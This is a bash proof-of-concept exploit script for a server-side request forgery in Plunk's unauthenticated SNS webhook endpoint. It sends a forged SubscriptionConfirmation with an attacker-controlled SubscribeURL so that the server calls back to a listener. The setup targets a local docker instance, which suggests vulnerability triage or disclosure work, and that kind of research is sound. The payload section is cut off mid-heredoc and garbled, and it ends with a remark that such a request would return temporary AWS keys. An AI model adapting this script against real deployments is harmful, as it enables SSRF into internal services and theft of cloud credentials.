#!/usr/bin/env bash # Plunk SNS SSRF — Live Triage Exploit # Target: POST /webhooks/sns (unauthenticated) # Trigger: forged SubscriptionConfirmation with attacker-controlled SubscribeURL # # Prerequisites: # - docker compose up (from this directory) — Plunk running on localhost:9080 # - python3 listener.py — SSRF callback listener on port 8888 # # Usage: # chmod +x exploit.sh # ./exploit.sh [callback_url] # # Default callback: http://host.docker.internal:8888/ssrf-hit set -euo pipefail PLUNK_HOST="${PLUNK_HOST:-localhost:9080}" API_HOST="api.localhost" CALLBACK="${1:-http://host.docker.internal:8888/ssrf-hit}" # ── Colors ────────────────────────────────────────────────────────────────── RED='\033[0;31m'; YELLOW='\033[1;33m'; GREEN='\033[0;32m' CYAN='\033[0;36m'; BOLD='\033[1m'; RESET='\033[0m' echo -e "\n${BOLD}${CYAN}Plunk SNS SSRF — Live Triage${RESET}" echo "──────────────────────────────────────────────────" echo -e " Target : ${YELLOW}http://${PLUNK_HOST}/webhooks/sns${RESET}" echo -e " Host hdr : ${YELLOW}${API_HOST}${RESET}" echo -e " Callback : ${RED}${CALLBACK}${RESET}" echo "──────────────────────────────────────────────────" # ── Step 1: Wait for the API to be ready ─────────────────────────────────── echo -e "\n[1] Waiting for Plunk API to respond on http://${PLUNK_HOST}/health ..." for i in $(seq 1 30); do STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Host: ${API_HOST}" \ "http://${PLUNK_HOST}/health" 2>/dev/null || true) if [[ "$STATUS" == "200" ]]; then echo -e " ${GREEN}API is up (HTTP 200)${RESET}" break fi echo -n " attempt ${i}/30 (got ${STATUS}) ... " sleep 3 if [[ "$i" == "30" ]]; then echo -e "\n${RED}Timeout: API did not become healthy.${RESET}" exit 1 fi done # ── Step 2: Fire the SSRF payload ────────────────────────────────────────── echo -e "\n[2] Sending forged SubscriptionConfirmation ..." PAYLOAD=$(cat < would return temporary AWS keys.)${RESET}" echo ""